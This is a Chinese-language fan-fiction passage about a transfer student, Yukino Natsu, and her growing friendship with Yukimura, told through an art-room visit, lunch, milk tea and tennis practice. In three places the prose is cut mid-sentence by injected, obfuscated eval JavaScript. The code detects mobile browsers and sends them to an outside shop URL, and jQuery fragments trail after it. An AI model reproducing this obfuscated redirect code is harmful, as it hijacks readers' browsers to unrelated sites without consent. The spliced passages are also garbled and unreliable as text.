“雾岛,上周的会议记录。”他把一个文件夹递给雾岛,目光扫过部室,在雪野夏身上停留了一秒,然后移开。 “谢谢。”雾岛接过文件夹,“弦一郎要吃点蛋糕吗?” “不用。”真田转身要走,又停下来,“母亲让你周末回家吃饭。” “知道了。”雾岛挥挥手,“替我谢谢伯母。” 真田离开后,渡边一花小声问:“星罗,你和真田同学在交往吗?” “我们是世交。”雾岛简单带过,显然不想多谈,“继续工作吧。” 筛选完稿件,雪野夏开始校对排版稿。 这是一项细致的工作,需要逐字逐句检查错别字和语法错误。她很快沉浸进去,忘记了周遭的一切。 窗外,天色渐渐暗下来。夕阳把云朵染成橘红色,像打翻的颜料盘。 “今天就到这里吧。”雾岛看了眼时钟。 大家开始收拾东西。雪野夏把校对好的稿子整理好,放进指定的文件夹。 离开部活室,柳莲二在走廊上叫住了她。 “雪野同学。” 雪野夏停下脚步。 柳莲二走到她身边,“可以请教你一些问题吗?” “请说。” “上周末,你去了东京都国立西洋美术馆吗?” 雪野夏一愣:“你怎么知道?” “那天的雷诺阿特展,我也去了。”他语气平常,像在谈论天气。 雪野夏抬眼看他,等着他接下来的话。 “在二楼《向日葵与花瓶》那幅画前,看到你了。”他停顿了一下,“还有幸村。” 走廊突然安静下来。 雪野夏左右看了一下四周,确认没有其他人在后,才平静地说:“只是偶遇。幸村君多了一张票。” “原来如此。”柳莲二平静地说道,低头在手中的笔记本上唰唰写着,“幸村很少会在休息日与人同行,尤其是女生。这算是难得的观察样本。” 雪野夏:“……” 她一时不知道柳莲二是在研究自己,还是在研究幸村精市。 “还有一个问题,”柳莲二停下笔,“看”向她,“你为什么会转学来立海大?” 雪野夏沉默了一下。 为什么转学来立海大? 答案很简单:因为父亲在神奈川工作的旧识的儿子恰好是立海大的教师,父母觉得有熟人照应会更放心。 但她在脑子里过了一遍这样回答后,立刻浮现出数个可能会引发的连环追问,以及这追问背后的蝴蝶效应……头好大,还是撒个谎吧。 “因为想换个环境。”她说。 柳莲二点了点头,没再追问,手中的笔在笔记本上轻轻记了一笔。 “这个理由很常见。”他合上本子,语气平淡,听不出太多情绪。 雪野夏不知道他信没信,不过他没有继续用数据拆解她的回答,倒是让她松了口气。 走下楼时,雪野夏看到了渡边一花。她绞着手,来回踱步,像是有心事。 看到她从楼梯下来时,脸上的焦虑少了些许。 “夏夏,我刚刚看到柳君在走廊拦住你,他没做奇怪的事吧?” 听出对方是在担心自己,雪野夏心口一暖。 “没什么,就是问了我几个问题。” “很寻常的问题。”她补充。 “哦,这样啊。”渡边像是放心下来,拍了拍她的肩膀:“你别介意,柳君就是这样的性格。其实他很欣赏你,不然不会逮住你问东问西。” “欣赏?” “嗯,他说你有一种‘无法被数据化的特质’。”渡边一花模仿着柳莲二的语气,“这可是很高的评价哦。” 雪野夏笑了笑,没说话。 无法被数据化的特质,翻译过来不就是——她是怪胎。 - 离开学校时,校园里已经没什么人了。夕阳把教学楼拉出长长的影子,网球场上还有人在练习,击球声在空旷的校园里回荡。 夏独自走在回家的路上。书包有点沉,里面装着文学部要看的稿子和几本从图书馆借的书。 走到十字路口时,她看见了一个熟悉的身影。幸村精市站在便利店门口,手里拿着瓶运动饮料。 他应该是刚结束部活,身上还穿着土黄色的运动服,额发微湿,看起来比穿校服时少了几分温文,多了些运动员的攻击性和力量感。 “雪野同学。”他先打了招呼。 “幸村君。”雪野夏走过去,“刚训练完?” “嗯,补充点水分。”幸村晃了晃手中的瓶子,“要一起走吗?我记得你家也是这个方向。” “好。” 两人并肩走着,保持着社交的距离。夕阳把他们的影子投在地上,一长一短,偶尔交叠。 “文学部的工作还顺利吗?”幸村问。 “嗯,今天在筛选稿件。” “很辛苦吧?” “还好。”雪野夏说,“能看到很多不同的文章,挺有意思的。” “是吗?”幸村微笑,“能找到喜欢的事,是很幸运的。” 路过一个公园时,幸村突然停下脚步,轻声说:“雪野同学,你看。” 雪野夏顺着他指的方向看去——公园的长椅上,一个老爷爷正在喂鸽子。他撒出一把玉米粒,鸽子们围着他咕咕叫着点头啄食。老爷爷笑得很开心,夕阳给他整个人镀上一层柔和的金边。 “很温暖的画面。”幸村轻声说,“就像雷诺阿笔下的画一样。” 雪野夏微微一怔。 这是她那天和他说过的话。 “你还记得?”她脱口而出。 “当然。”幸村转头看她,“那天和你聊得很开心。” 雪野夏一时间不知道该怎么接话。这种被记得、被认真对待的感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001312|193954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉,对她而言有些陌生,也有些令她无措。 “抱歉,”幸村笑了笑,“我是不是说得太直接了?” “不会……”雪野夏摇摇头,犹豫了一下,还是诚实地说,“我只是还不太习惯。” “不习惯什么?” “不习惯有人会记得这些细节,也不习惯有人愿意和我聊这些。”她顿了顿,“在以前的学校,大家总觉得我很无趣,不好接近。” 幸村沉默了一会儿,然后说:“那是他们的损失。” 雪野夏抬头看他。幸村的表情很认真,鸢紫色的眼睛在夕阳下闪着温和的光。 “每个人都有自己独特的世界。”幸村继续说,“能进入别人的世界,是一种幸运。” 风从海的方向吹来,带着傍晚的凉意。公园里的鸽群突然飞起,在天空中划出优美的弧线。 “谢谢。”雪野夏轻声说。 “嗯?谢什么?” “谢谢你这么说。” 幸村笑了起来:“我只是说了事实。” 他们继续往前走。路灯一盏盏亮起来,暖黄色的光晕染了暮色,远处传来电车的轰鸣声。 平静,热闹,祥和。这里的风景很漂亮,这里的人们都友好。这里是她印象中的神奈川。 到雪野夏的公寓楼下时,天已经完全暗了下来。窗户里透出零星的灯光,像夜空里疏疏落落的星子。 “那我上去了。”雪野夏说。 “嗯,明天见。”幸村点头,又像是想起了什么似的补充道,“对了,这周六画室有开放日,如果你有兴趣的话……” “我有兴趣。”雪野夏很快回答,快得连她自己都有些惊讶。 幸村的眼睛弯起来:“那周六上午十点,学校画室见。” “好。” 雪野夏转身上楼。 走到二楼走廊的窗边时,她忍不住停下脚步,悄悄往下看。 幸村还站在路灯下,身影被拉得很长。他仿佛有所感应,忽然抬起头。 两人的目光在空中不期而遇。 雪野夏下意识想躲,却见他抬起手,朝她轻轻挥了挥。 她也慌忙抬手回应。然后快速躲到旁边,背贴着墙。 心跳有点快,脸上也有点烫。她按住胸口,靠在墙上,深呼吸了好几次。 脑子里莫名其妙地浮现出柳莲二白天问的那个问题—— 为什么转学来立海大? 真实的答案简单粗暴:因为父亲在神奈川工作的旧识的儿子恰好是立海大的教师,有熟人照应,父母会更放心。 可此刻,她脑中冒出的念头却是: 当初听爸妈的安排,转学来立海大,真是太好了。 这样想着,她忍不住弯起嘴角。如果此刻有面镜子,一定能看到她自己笑得比向日葵还要灿烂。 正要继续上楼时,她看见楼梯转角的平台上立着一个人。 山岸知明穿着宽松的家居服,手里拎着个黑色垃圾袋,看样子正准备下楼扔垃圾。 他目光平静地落在她还未收起笑容的脸上,不知道看了多久。 “……山岸老师好。”雪野夏挺直背,拘谨打招呼。 “嗯。”山岸知明淡淡应了一声,视线仍停留在她脸上。 被人面无表情地盯着瞧,雪野夏感到如芒在背。 虽然双方父母是旧识,但两人除了转学第一天简短的寒暄外,私下几乎没有任何交集。此刻被他撞见自己在楼梯间莫名其妙地傻笑…… 雪野夏脑中飞快闪过一个念头:他该不会以为我独居久了,压力太大,终于疯了吧? “如果……”山岸知明终于开口,像是在斟字酌句,“如果一个人在这边生活有什么不适应,或者需要帮助……可以跟我说。” 他说完后,像是顾及她的面子,还没等她回应,便拎着垃圾袋继续往下走了。 雪野夏站在原地愣了两秒,默默抬手捂住了脸。 ——他果然以为我疯了。 6. 画室 雪野夏迷迷糊糊的醒来,揉了揉眼睛然后看向闹钟。 才五点半,她醒得比平时还要早。天还没完全亮,灰蓝色的光线从窗帘缝隙渗进来。 她躺在床上,盯着天花板看了很久。 ——睡不着了。 在床上翻来覆去一个小时后,她起床做早餐。 煎蛋,烤吐司,热牛奶。独居的生活让她学会了很多事情——做饭,打扫,修漏水的水龙头。 上周和妈妈视频时,妈妈还在视频里夸她说:“小夏长大了”。 八点半,她化完全妆,站在衣柜前犹豫不决。对着衣柜里色彩缤纷的衣服发呆时,她想起妈妈说过的话:“小夏紫色很好看,像晨雾里的紫罗兰。” 最后选了一件米白色慵懒风宽松毛衣,软乎乎的版型裹在身上自带松弛感,再搭一条浅紫色A字百褶短裙,淡紫裙摆和温柔米白碰撞,有种甜嫰的软妹氛围。 换完衣服,她又配了顶同色系浅紫贝雷帽,再挑个奶黄色斜挎小包。整套是清清爽爽的韩系甜系松弛感,日常出街约会刚好合适。 约会? 她刚刚脑子里是不是闪过“约会”这个词了? 才、才不是约会呢! 只是对方比较比较帅气,走在人群中很亮眼,所以她才不得不多花点心思打扮了一下而已。 对,就是这样。只是不想让别人觉得他们走在一起太突兀而已。 九点十五分,雪野夏出门了。时间还早,她决定步行去学校。 周六的校园很安静,只有几个参加社团活动的学生在操场上跑步。阳光很好,洒在石板路上,反射出星星点点的光芒。 雪野夏走到艺术楼前,犹豫了一下才推开门。 画室在三楼,走廊里飘着松节油和颜料的味道。这种气味让她想起小时候,妈妈的工作室也是这样的味道。 不过,比起妈妈的工作室,她更喜欢去爸爸的书房,那里面是混合着咖啡和书墨的香气。 画室的门虚掩着。 雪野夏轻轻推开门,幸村精市背对着她站在画架前。他穿着沾了颜料的绿色围裙,手里拿着调色板,正在往画布上涂抹蓝色。 “幸村君。”她小声打招呼。 幸村转过身,脸上露出温和的笑容:“你来了。” 他看了眼墙上的挂钟,“比约定时间早了二十分钟呢。” “我怕迟到,习惯了提前一些。”雪野夏走进画室,环顾四周。 画室很大,三面都是窗户,采光极好。墙上挂着学生作品,从稚嫩的静物写生到成熟的人物肖像都有。角落堆着画架和画布,几个石膏像安静地立在架子上。 “随便坐。”幸村放下调色板,“想喝点什么?我带了红茶,这里还有水。” “和你一样就好。”雪野夏说。 “让我来选吗?”幸村笑了笑,走到窗边的小桌旁,开始泡茶。 他的动作很熟练,烧水、温杯、洗茶,每个步骤都优雅到位,像是在完成艺术创作一样。阳光从窗户斜射进来,在他身上镀了一层朦胧的光晕。 雪野夏迎着光,看得有些入迷。正在这时,幸村忽然转身,两人猝不及防对上视线。 他的眼型很漂亮,内勾外翘,瞳眸温润,融合了凤眼和桃花眼的眼型,看一条狗都深情。 “我可以看你的画吗?”她慌乱避开视线。 “当然,请随意。” 雪野夏走到幸村的画架前。画布上是海,但又不是写实的海,而是用大块色块组成的海。深蓝、靛青、孔雀蓝、浅紫,层层叠叠,像海浪的韵律。 “这是……”雪野夏轻声问。 “我想画海的声音。”幸村端着茶杯走过来,“不是海的样子,而是海的声音。” 雪野夏仔细看着画。确实,那些色块有节奏感,有起伏,仿佛闭上眼睛就能听见潮汐。 “很特别的创作手法。”她说,缓缓闭上眼,“我好像真的听见了海浪起伏的声音。” “谢谢,这是很高的夸赞。” 睁开眼时,幸村正看她,眼尾微垂,鸢紫色的瞳孔离的很近,像深海的漩涡。 幸村递给她一杯茶,“小心烫。” 红茶很香,是伯爵茶,有佛手柑的香气。雪野夏小口喝着,目光在画室里游移。她看见窗台上摆着几盆植物——仙人掌、多肉,还有一盆开着小白花的植物。 “那是雏菊。”幸村顺着她的目光看去,“我喜欢它的花语。” “雏菊的花语是……” 雪野夏对植物和花卉不是很了解,她只知道最大众的一些说法,比如红玫瑰代表爱情。 “隐藏在心底的爱。”幸村微笑,“还有离别。” “离别?” “很矛盾,是吗?” 雪野夏点点头。 她想起妈妈似乎也种过这种花,在柏林公寓的阳台上。妈妈说,雏菊看起来柔弱,其实很坚韧,能在任何地方生长。 “要画画吗?”幸村问她,“画具都有。” “诶?”雪野夏有些犹豫,“我很久没画过了。” “试试看?”幸村递给她一个空白画板和颜料。 雪野夏接过画板,在画架前坐下。她拿起铅笔,一时不知道该画什么。 这种像是面临考试前的紧张感,让她握着笔的手逐渐僵硬,身体也无意识紧绷起来。 “放松一点,这里不是考场。”幸村站在她身后,声音很轻,“想象你要画的东西,然后让手自由地动。” 雪野夏闭上眼睛,深呼吸。脑海里浮现出一些画面——海,夕阳,飞鸟,还有来学校路上两旁的樱花树。 她掀开眼帘,开始画。 起初线条有些笨拙和生涩,但渐渐地,手找回了记忆。铅笔在纸上滑动,勾勒出轮廓,然后是细节。她逐渐沉浸其中,忘了时间,忘了自己在哪,只沉浸在画里。 不知过了多久,她放下笔,退后一步看自己的画。 是海边的黄昏。防波堤上坐着一个小小的身影,像是在眺望着天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001313|193954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 际线,背影很孤单。天空是渐变的橘红色,海面泛着金色的光。远处有海鸥,像几个小小的墨点。 “画得真好,就像是艺术生一样。”幸村的声音从旁边传来。 雪野夏这才意识到他一直站在旁边看。她有些不好意思:“只是随便画的。” 妈妈是美术老师,她小时候耳濡目染,也跟着学了不少技法,只是后来更爱爸爸的书房,就渐渐没再画了。 “不,很有感情。”幸村认真地看着画,“这个背影,是你自己吗?” 雪野夏没有回答。她看着画中那个小小的身影,突然觉得很陌生。那真的是她吗?还是某个想象中的自己? “抱歉,”幸村说,“我问太多了。” “不会。”雪野夏摇摇头,“我只是不知道该怎么回答。因为我觉得她好像是我,但又好像不是真正的我。” “的确会有这种感觉呢。”幸村走到窗边,看着外面的校园:“有时候画画就像写日记,记录的是眼睛看不见,手摸不着的东西。” “比如?” “比如孤独。”幸村转回头,眼神很平静,“比如渴望被理解,又害怕被看透的矛盾。” 雪野夏愣住了。她没想到幸村会说这样的话。 “很奇怪吗?”幸村微笑,“我也只是个普通人,有普通人的烦恼。” “我以为……”雪野夏顿了顿,“我以为你永远都是从容的样子。” “那是伪装。”幸村坦白地说,“就像网球场上,我必须强大,必须不可战胜,因为我身后带领着整个团队。但是在这里不需要伪装,我可以只是幸村精市,一个喜欢画画、有时候也会迷茫的高中生。” 风吹进画室,掀起了画架上的稿纸。 雪野夏看着幸村精市,第一次觉得看见了他的另一面——不是传闻里战无不胜的“神之子”,也不是女生口中的高岭之花。 这一瞬间,他似乎离自己很近,只是一个普通的、会透露自己心事的男高中生。 “为什么幸村君要告诉我这些呢?”雪野夏问他。 “我也不清楚呢。”他说。 “真是个奇怪的人。” “会吗?” “嗯。”雪野夏应道。 随即,她又轻声补充:“不过……我很开心你能告诉我这些。就感觉我们像是朋友一样。” “我以为我们已经是了。”他声音温和。 “诶?” “没什么,谢谢你愿意听。”幸村笑了笑,转头看向墙上的钟,“快中午了,要一起去吃饭吗?附近有家咖喱店味道很好。” “……好。” 两人收拾好画具,一同离开画室。锁门时,幸村顿了顿,像是随口提起: “下次画室还会开放,如果你想来……” 话音未落,雪野夏已经接上了。她说:“好啊。” 幸村愣了下,随即又笑开了。 雪野夏看到他笑,也不禁弯了弯嘴角。她很喜欢看他笑起来的模样。 7. 拍照 咖喱店很小,只有六张桌子,但环境干净卫生。 老板娘是个和蔼的中年妇女,看见幸村就笑了:“小幸村来啦,今天带朋友了?” “嗯,这是雪野同学。”幸村介绍。 “欢迎欢迎。”老板娘热情地说,“今天的特制咖喱很不错哦。” 他们点了两份特制咖喱,坐在靠窗的位置。窗外是条小巷,有猫咪在墙头晒太阳。 “你经常来这里?”雪野夏问。 “嗯,训练晚了就来这里吃饭。”幸村说,“老板娘人很好,有时候还会给我加菜。” 咖喱很快端上来,香气扑鼻。 雪野夏尝了一口,确实很好吃。咖喱浓郁但不腻,蔬菜煮得恰到好处,肉很嫩。 “怎么样?”幸村问。 “很好吃。” “那就好。”幸村开始吃自己的那份,“其实我第一次来这里是迷路的时候。那天训练到很晚,又累又饿,看见这家店还开着就进来了。” “你也迷路过?” “小时候经常。”幸村笑了,“而且那个时候我很胆小,这个城市的路弯弯曲曲的,不像现在那样规整。” 雪野夏想起自己小学上学时的窘迫,突然觉得和幸村有了某种共鸣。 “说起来,”幸村放下勺子,“我听说柳他在收集你的数据。” 雪野夏的手一顿:“柳君?” “希望你不要生气,他没有恶意。”幸村说,“他只是对感兴趣的人才会这样。他跟我说,你身上有一种‘特别的能量’。” “这是夸奖吗?” “从他嘴里说出来,就是最高的夸奖。”幸村微笑。 渡边一花也说过同样的话。 雪野夏对柳莲二不了解,一时不知道该说什么好。她想起柳莲二那双闭着的眼睛,还有他手里那本从不离身的笔记本。 “如果你觉得困扰,我可以跟他说。”幸村补充道。 “不用。”雪野夏摇摇头,“我没关系的,反正都习惯了。” “习惯了?” “……嗯。”雪野夏轻声说,“在柏林那边也是这样。国外的留学生,总是会被特别关注。” 幸村沉默了片刻,然后说:“我大概能体会你说的这种感觉。” 雪野夏抬起头。 “因为网球打得好,因为成绩不错,因为长得还算顺眼……”幸村自嘲地笑了笑,“大家就会给你贴上各种标签。‘神之子’、‘天才’、‘完美的人’。但没有人问过,你想不想被这样称呼。” 雪野夏的心轻轻一动。她看着幸村,突然明白了那种共鸣从何而来——他们都在活在别人的期待里,都被赋予了某个特定的角色。 就像妈妈是美术老师,她从小也被人认为必须有绘画天赋,以后必须要从事和艺术相关的职业。 不过,成绩不错,长得还算顺眼……幸村君也太自谦了吧。四月的月考,他的成绩是年级前十吧。而且是女生眼里公认的美少年,高岭之花。 “所以我才喜欢画画。”幸村继续说,“在美术室里,我是自由的,只有我和画布。可以画得好,也可以画得不好,随便想画什么都可以。” 雪野夏点点头。她也能体会这种感觉。就像她在爸爸的书房看书、或是偶尔写点东西的时候,是完全放松自由的。 “雪野同学,”幸村看着她,“你在立海大找到这样的地方了吗?” 雪野夏想了想:“文学部算吗?” “算。”幸村微笑,“还有呢?” “还有……”雪野夏顿了顿,“和幸村君在一起的时候。” 幸村愣了一下,然后笑容加深了。 “那是我的荣幸。”他说。 - 吃完咖喱,老板娘送了他们两份布丁作为甜点。布丁很滑嫩,焦糖的苦味和奶香的甜味平衡得刚刚好。 “下次还要来哦。”结账时,老板娘对雪野夏说。 “一定会的。”她点头。 走出咖喱店,阳光正好。巷子里的猫咪伸了个懒腰,跳下墙头,慢悠悠地踱着步走了。 “下午有什么打算吗?”幸村问。 “准备回家看书。” “这样啊,”他想了想,“那我送你回去?” “不用麻烦的,我自己可以。” “我知道你可以,”幸村笑了笑,“但我想送你。” 雪野夏抬起眼看他,褐色的瞳孔在光里轻轻颤动。 回公寓的路上,他们聊了很多——喜欢的书,喜欢的音乐,喜欢的电影。 雪野夏发现幸村的品味很广,从古典乐到摇滚都能聊,从艺术电影到商业片都看过。 “你真的很喜欢艺术。”雪野夏说。 “嗯,艺术让我看见世界的另一种可能。”幸村回答,“就像网球让我感受到身体的极限,艺术让我感受到心灵的边界。” 路过一家小而明亮的奶茶店时,雪野夏想起午饭是幸村请的,便停下脚步:“幸村君,我请你喝奶茶吧,当作回礼。” 两人点了单,在店外的小圆桌旁桌下。午后阳光和煦,穿透香樟树叶,在桌面上投下星星点点的光斑。 雪野夏仰起脸,轻轻闭上眼睛,“果然,还是神奈川的阳光最舒服。” 光线映照着她的肌肤,白皙透明。浓密的睫毛卷翘的像小扇子,在眼下投出浅浅的影,墨色长发如瀑垂落,随着她仰头的动作,发梢轻轻扫过椅背。 明明是春末夏初的时节,她周身却仿佛仍萦绕着冬日的气息,清冽而寂静。 “柏林的阳光,不温暖吗?”幸村轻声问。 “嗯?”她睁开眼,瞳眸水润,“说不清楚……大概就像人们常说的,月是故乡明。” 手机“叮”了一声,雪野夏起身进店取餐。 她端着托盘回来,上面放着超多肉芒芒甘露、芝士抹茶,还有一些小糕点。 超多肉芒芒甘露是她的最爱,加了脆啵啵。幸村的那杯芝士抹茶加了芋圆、奶冻和很多芝士。浅绿色的一大杯,在阳光下显得晶莹剔透。 她将饮品放在桌上,撕开吸管包装纸,只留三分之一握在手里,将吸管插入幸村那杯的杯盖,然后递给他。轮到自己的那杯时,她则将包装纸全部扯掉了。 甜香随着漫开。她正准备浅尝一口,幸村却叫住她。 “不先拍个照吗?”他含笑问道。 雪野夏眨了眨眼睛。 在柏林时,常见班上的女生们放学后聚在学校周边的饮品店,举着杯子对镜欢笑拍照。 她原以为这只是女孩间的小小乐趣,没想到幸村也有这种爱好。 “嗯,好啊。”她拿起奶茶,拘谨地挪近一些,侧身靠近他,“是要比心,还是……对侧脸比个C?” “诶?”幸村像是没听懂,眼睫轻眨。 雪野夏也愣了愣,“你不是说要拍照吗?” 话一出口,她骤然反应过来——幸村说的,或许只是单纯给奶茶拍照。耳朵瞬间烧了起来,热度一路蔓延到耳尖,烫得隐隐发疼。 “抱歉,我误会了……”她小声说道,视线飘向别处。 幸村“噗哧”一下笑了出来。他半握起拳,轻抵着唇边,笑声低柔,像拂过叶梢的风。 “我的确是很想拍雪野同学提议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001314|193954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那种照片,”他温声说道,眼里笑意未褪,“不过,我以为至少还要再等一段时间。” “嗯?为什么要等一段时间?” “没什么。”幸村笑着说。 他取出手机,调整好角度,将两人手中的饮品,斑驳的光影,以及她仍泛着薄红的侧脸,一并收入镜头。 拍完照,他将照片传给她,然后收起手机,抿了一口芝士抹茶。 “感觉怎么样?”雪野夏小心翼翼地问道。 芝士抹茶加芋圆、奶冻和很多芝士是她推荐的,不过她也是在INS上看的帖子分享,自己没有喝过,很担心会不符合他口味。 “很好喝哦。”他眼里含笑。 雪野夏听到他说好喝,看到他笑,嘴角也不自觉扬起。 “那下次,”她举起手中的芒果甘露,杯壁凝结着细密的水珠,“我喝奶茶还叫你。” “好啊。”幸村举起他那杯清新的抹茶,与她的杯子轻轻碰了碰,“那就说定了。” 他们坐在那里,有一搭没一搭地继续聊着天,时光在奶茶和阳光的慵懒中,缓缓流淌。 - 到公寓楼下时,雪野夏转眸对幸村说:“今天谢谢你。我很久没有这么开心地画画了。” “我也是。”幸村说,“今天很放松,也尝试了之前没有做的事。” 两人站在楼下,一时无言。 风吹过,楼前的风铃发出清脆的声响。 “那……”雪野夏说,“周一学校见?” “好。”幸村点头,“如果下周你有想画的题材,可以提前想好。” 雪野夏转身上楼,走到一半时回头。 幸村还站在原地,朝她挥了挥手。 她转身,快步上楼,开门,靠在门后。 心跳很快,脸很烫。 等她平复下来,走到窗边往下看时,幸村已经离开了。 夕阳洒在空荡荡的街道上,只有风铃还在响。 雪野夏取出手机,点开幸村传给她的那张照片。 镜头里,他眉眼舒展,笑意清浅。阳光落在他紫蓝色的发梢,也落进他漾着温和光晕的眼睛。 她勾起唇角,手指在屏幕上操作几下,设置成了手机桌面。 雪野夏走到书桌前,拿出一本记事簿。 那是她用来写随笔的本子,偶尔也会摘抄一些喜欢的好词好句。 翻开到中间的某页,她写道: 「5月15日,晴 今天去了画室。幸村君在画海的声音。 我画了海边的黄昏。他说我的画有感情。 我们聊了很多。 原来他也会迷茫,也会觉得累。 他说艺术让他看见世界的另一种可能。 我逐渐开始理解这句话了。 他送我回来的路上,我请他喝喜茶,还一起拍了照片。 我想起了在柏林的某个午后:阳光和煦,一群女孩子围着小圆桌,举着印有这种图案的奶茶或咖啡杯,笑嘻嘻的侃天说地。 如果现在还能见到那时站在远处旁观的自己,我想对她说:小夏,不用羡慕。因为不久的将来,你也会拥有。」 写完,她合上记事簿。 晚上和妈妈视频,她说:“妈妈,今天神奈川的阳光很温暖。” 屏幕那头的笑容像温好的牛奶。妈妈笑着问她:“小夏,你是谈恋爱了吗?” 雪野夏愣了一下,笑着岔开话题。 可妈妈那句不经意的话,像是被启动的钟摆,在她脑子里转啊转,怎么也停不下来。 于是在周三的数学课上,她又走神了。 8. 网球部 黑板上写着复杂的三角函数公式,老师的声音像远处传来的背景音,模糊不清。 雪野夏托着腮,目光穿过玻璃窗,落在不远处的网球场上——有几个身影在奔跑,黄色的小球在空中划出弧线。 其中一个身影她认出来了,是幸村。即使隔着这么远的距离,她也能认出那深蓝色的头发和挺拔的侧影。 “雪野同学。” 老师的声音把她拉回现实。雪野夏慌忙站起身,椅子发出刺耳的摩擦声。 “请你解一下这道题。”老师指着黑板。 雪野夏看向题目——是一道三角函数的应用题,需要用到和差化积公式。她走到黑板前,拿起粉笔。 教室里很安静,只有粉笔划过黑板的嗒嗒声。 三分钟后,她放下粉笔:“老师,我解完了。” 老师推了推眼镜,仔细检查她的解题过程。 “不错。方法很巧妙。”老师点点头,“但上课还是要专心。” “是。”雪野夏回到座位,脸颊有些发烫。 下课后,前排的渡边一花凑过来:“夏夏,你刚才在看什么?那么入神。” “没什么。”雪野夏低头收拾课本。 “骗人。”渡边眨眨眼,“我都看见了,你在看网球场那边。是不是在看某个特别的人?” 雪野夏的手顿了顿:“没有。” “真的吗?”渡边笑得狡黠,“刚刚是C组在上网球课吧?我好像看到幸村君了。夏夏是不是也在看他?” 雪野夏的脸“唰”的一下更红了。 幸好,这时上课铃响了。 - 下午的社团活动时间,雪野夏来到文学部时,里面已经热闹非凡。 “雪野同学,你来得正好!”雾岛星罗拿着一叠稿纸走过来,“这期的投稿太多了,排版完全不够用。” 雪野夏接过稿纸翻看。这次的投稿质量比上次高,有几篇短篇小说写得相当成熟。 “这篇可以放在头条。”她抽出一篇,“文笔好,立意也不错。” “英雄所见略同。”雾岛点头,“我已经标记了。” 她们开始讨论排版方案。雪野夏建议把版面分成三个部分——小说、散文、诗歌,每个部分有独立的风格设计。 “雪野同学对排版很有研究?”柳莲二的声音从角落传来。 “我父亲是建筑师。”雪野夏回答,“从小就看他画设计图。” 柳莲二点点头,在笔记本上记着什么。 “柳君,”雪野夏突然开口,“可以问你一个问题吗?” “请说。” “你为什么总是收集别人的数据?” 柳莲二抬起头,虽然闭着眼睛,但雪野夏能感觉到他在认真思考。 “数据是理解世界的有效工具。人类行为存在规律,数据能揭示其背后的因果概率。” “但有些东西是无法用数据衡量的。”雪野夏说,“比如感情,比如对同一件事的感受。” “确实。”柳莲二承认,“数据只能描摹外在行为的轮廓,触及不到内里的灵魂。这我承认。但轮廓是必要的框架——没有框架,内在的一切也就失去了参照的基点。” 这个回答让雪野夏有些意外,她还以为他是绝对的数据至上主义者。 “雪野同学,”柳莲二的声音再次响起。 “嗯?” “基于目前的观测,我已将你的数据归档。” “……为什么?” “因为近两周,你的行为模式出现了明显偏离。” 他翻动笔记本,“从高度规律和可预测性,变得充满意外项。例如,你会出现在画室、校外奶茶店、网球场的观众席。这让原有的预测模型基本失效了。” 雪野夏怔住了:“你怎么连这些都……” “综上所述,现在的你的数据模型指向了‘普通高中生的日常’。”柳莲二合上笔记本,得出结论:“继续追踪一个稳定的普通样本,从数据角度意义不大,从个人角度,也可能成为一种打扰。” 雾岛在一旁笑了:“柳,你终于说了一句人话。” 柳莲二微微耸了耸肩。 雪野夏垂下眼帘,轻声问:“所以,是因为我变得‘普通’了,失去了观测价值?” “可以这么说。”柳莲二的声音依旧没什么波澜,“从‘特殊观察对象’回归‘常规群体’,这本身就是一个积极的信号。说明你找到了让自己舒适的状态。我的数据是为了理解‘异常’,而不是去剖析一个已经稳定的‘常态’。” 雪野夏重新将目光落回稿件上,嘴角不自觉地勾起。 这样啊,在别人眼里,她也终于是一个普通的高中生了。 文学部活动结束后,雪野夏穿过图书馆前的花园,不知不觉间绕到了网球场附近。 下午的训练还没结束,球场上满是奔跑的身影和击球声。她站在铁丝网外,远远地看着。 幸村正在和真田打练习赛。两人的水平都很高,球速快得几乎看不清。 幸村在球场上的气场和日常里截然不同,就算是网球这样的竞技运动,他的动作有一种特别的美感——流畅,精准,像是艺术表演。 “雪野学姐?” 雪野夏转过身,看见切原赤也站在身后,满头大汗。 “切原君。” “学姐来看训练吗?”切原眼睛亮晶晶的,“要进来吗?现在没什么人,我可以带你去看台参观!” “不用了,我只是路过……” “没关系啦!”切原已经拉开铁门,“进来吧进来吧!” 切原赤也和雪野夏并不是很熟,但他听柳前辈说,部长和雪野关系特别好,既然是部长的好朋友,那也就是他的好朋友了。 而且这位学姐很安静,不会像其他女生那样大声尖叫。 雪野夏就这么被半推半请地带进了网球场。这是她第一次这么近距离看网球训练,感觉和远观完全不同。 球速快到几乎看不清轨迹,击球声沉闷有力,仿佛击打的不是网球,而是某种秘密武器一样。 